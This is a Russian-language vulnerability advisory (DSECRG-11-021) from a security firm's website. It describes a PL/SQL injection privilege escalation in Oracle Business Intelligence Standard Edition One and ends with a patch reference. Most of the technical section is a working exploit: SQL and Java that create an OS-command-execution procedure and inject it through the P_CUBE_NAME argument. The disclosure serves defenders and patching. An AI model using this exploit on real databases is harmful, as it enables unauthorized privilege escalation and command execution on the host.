Услуги
Аудит информационной безопасности

Аудит информационной безопасности компании – многоплановая задача, в
которую входит несколько направлений анализа
ИТ-инфраструктуры и оценки защищенности приложений и устройств

Подробнее
Решения
Решения

Аккумулировав весь опыт Digital Security, мы подготовили отдельные решения по аудиту безопасности. Каждое решение объединяет специализированные услуги для конкретной отрасли бизнеса или сферы исследования. Вы можете выбрать любую из них или несколько — в комплексе

О нас
Digital Security

Практическая информационная безопасность – наша специализация и любимое дело. Уже 18 лет мы помогаем нашим клиентам уберечь сервисы и системы от киберугроз, а также активно участвуем в развитии мирового ИБ-сообщества

Подробнее
Экспертиза
Экспертиза

Для клиентов Digital Security работает команда экспертов ИБ мирового уровня. Мы получаем благодарности за вклад в обеспечение безопасности от лидеров ИТ-индустрии, а также подтверждаем свои навыки международными сертификатами в области ИБ

Подробнее
Ресурсы
Ресурсы

Мы создаем контент для тех, кому интересна информационная безопасность. Многостраничные технические статьи, бизнес-аналитика с емкими выводами, записи вебинаров и презентации с профильных конференций — все вы найдете в этом разделе

Подробнее

Мы создаем контент для тех, кому интересна информационная безопасность. Многостраничные технические статьи, бизнес-аналитика с емкими выводами, записи вебинаров и презентации с профильных конференций — все вы найдете в этом разделе

Посмотреть раздел

Масштабные исследования и аналитические обзоры. Описания хакерских инструментов и техник

Статьи и аналитические работы, полезные для бизнеса. Экспертное мнение об актуальных проблемах информационной безопасности

Видеоархив наших вебинаров и конференций. А также анонсы предстоящих мероприятий

Руководства, презентации, чек-листы. Гайды для повышения уровня осведомленности в вопросах ИБ

Наверх

DSECRG-11-021: Повышение привилегий

Вендор

Oracle

Продукт

Oracle Business Intelligence Standard Edition One 10.1.3.2.1

Тип уязвимости

Повышение привилегий

Reported

20.04.2009

Date of Public Advisory

23.05.2011

Подтверждение

Автор

Александр Поляков

Детальное описание

Процедура OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID выполняется с правами пользователя OWBREPOS_OWNER и предоставляется пользователю PUBLIC. Эксплуатация уязвимости в этой процедуре может дать любому пользователю права OWBREPOS_OWNER. У OWBREPOS_OWNER есть ряд критичных ролей и привилегий.

Детали
1. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID
Argument Name Type In/Out Default?
P_CUBE_NAME VARCHAR2 IN

Аргумент P_CUBE_NAME не санитизован, поэтому злоумышленник может внедрить SQL код, который будет исполнен с правами OWBREPOS_OWNER. OWBREPOS_OWNER не является администратором баз данных (DBA), но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра любых данных в таблицах базы данных, включая хеши пользователей, а также для получения доступа к файлам ОС, исполнения команд ОС и получения прав SYSDBA.

Критичные роли и привилегии:
1. SELECT ANY DICTIONARY
2. JAVA_ADMIN
3. CREATE EXTERNAL JOB
4. CREATE ANY DIRECTORY

У OWBREPOS_OWNER есть роль «JAVA_ADMIN», поэтому он может выполнять любые команды ОС с привилегиями Owner of Oracle BI process (по умолчанию в Windows это пользователь LOCAL SYSTEM).

Пример эксплойта
CREATE OR REPLACE FUNCTION «SCOTT».»SQLI» return varchar2
authid current_user as
pragma autonomous_transaction;
SqlCommand VARCHAR2(2048);

BEGIN
SqlCommand := ‘
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED «SRC_EXECUTEOS» AS
import java.lang.*;
import java.io.*;

public class ExecuteOS
{
public static void printFile (String fileName) throws IOException
{
File fileOut;
FileReader fileReaderOut;
BufferedReader buffReader;
String strRead;

fileOut = new File (fileName);
fileReaderOut = new FileReader (fileOut);
buffReader = new BufferedReader(fileReaderOut);
while ((strRead = buffReader.readLine()) != null)
System.out.println(strRead);
}

public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException
{
String[] strCmd = {«cmd.exe», «/c», «1>c:\\stdout.txt», «2>c:\\stderr.txt», cmd};

System.out.println(«==========\r\nExecuting OS command…»);
Process p = Runtime.getRuntime().exec(strCmd);
p.waitFor();
System.out.println(«\r\n==========\r\nThis was the STANDARD OUTPUT for the command:»);
printFile («c:\\stdout.txt»);
System.out.println(«\r\n==========\r\nThis was the ERROR OUTPUT for the command:»);
printFile («c:\\stderr.txt»);
}
}’;
execute immediate SqlCommand;

SqlCommand := ‘
CREATE OR REPLACE PROCEDURE «PROC_EXECUTEOS» (p_command varchar2)
AS LANGUAGE JAVA
NAME »ExecuteOS.execOSCmd (java.lang.String)»;’;
execute immediate SqlCommand;

execute immediate ‘GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT’;

commit; — Must do a commit
return »; — Must return a value
END;
/

grant execute on SCOTT.SQLI to PUBLIC;
/

SET SERVEROUTPUT ON
/

exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘aaa»||SCOTT.SQLI()||»aaa);
/

CALL dbms_java.set_output(1999);
/
EXEC OWBREPOS_OWNER.proc_executeos (‘set’);
/

Решение
Решение этой проблемы представлено в SAP Oracle Critical patch update April 2011.
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html

Мы используем куки. Никогда такого не было, объясните

ОК